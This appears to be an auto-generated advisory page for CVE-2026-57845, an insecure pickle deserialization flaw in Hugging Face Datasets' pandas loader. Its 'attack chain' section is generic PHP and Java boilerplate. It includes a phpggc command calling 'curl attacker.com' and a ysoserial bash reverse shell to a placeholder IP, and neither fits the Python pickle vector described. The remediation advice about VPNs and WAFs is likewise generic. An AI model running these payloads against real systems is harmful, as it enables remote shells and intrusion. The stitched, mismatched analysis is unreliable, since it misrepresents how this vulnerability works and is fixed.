CVE-2026-57845 — Hugging Face Datasets — CWE-502
CVE-2026-57845 is a HIGH severity Insecure Deserialization vulnerability (CWE-502) (CVSS 8.8/10) affecting Hugging Face Datasets. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network without authentication (PR:N) requiring user interaction, resulting in complete compromise of system confidentiality and integrity (C:H/I:H).
📄 Official NVD / MITRE Original Record Text
Hugging Face Datasets before 5.2.0 contains an insecure deserialization vulnerability that allows attackers to execute arbitrary Python code by crafting a malicious pickle file loaded through the deprecated pandas packaged builder. Attackers can supply a pickle-backed dataset that is processed by Pandas._generate_tables via pandas.read_pickle() without validation, so when a victim calls datasets.load_dataset("pandas", data_files=...), the embedded __reduce__ payload executes code with the victim process's privileges.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-57845
CVSS 8.8/10 · HIGH · 23.10.2026
CWE: CWE-502
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 WHAT IS THIS VULNERABILITY?
Insecure Deserialization
Summary: Hugging Face Datasets before 5.2.0 contains an insecure deserialization vulnerability that allows attackers to execute arbitrary Python code by crafting a malicious pickle file loaded through the deprecated pandas packaged builder. Attackers can supply a pickle-backed dataset that is processed by Pandas._generate_tables via pandas.read_pickle() without validation, so when a victim calls dataset…
⚡ ATTACK CHAIN
1. Detect serialized data in cookies, POST body, hidden fields.
2. PHP: phpggc Laravel/RCE1 'curl attacker.com' | base64
3. Java: ysoserial CommonsCollections6 'bash -i >& /dev/tcp/IP/4444 0>&1' > payload.bin
4. Replace original with payload.
🔧 Tools: ysoserial, phpggc, Burp Suite Deserialization Scanner
🗺️ MITRE ATT&CK: T1190, T1059
🌍 REAL WORLD IMPACT
All confidential data readable/stealable; data can be modified or deleted; service can be completely taken down.
🛡️ REMEDIATION
→ Apply the vendor-released patch immediately.
→ Pre-patch: put service behind VPN or apply IP allowlist.
→ Add WAF rule, create IDS alert for anomalous traffic.
⚠️ URGENCY
⚠️ This week (7 days) — High risk, anonymous remote.
────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]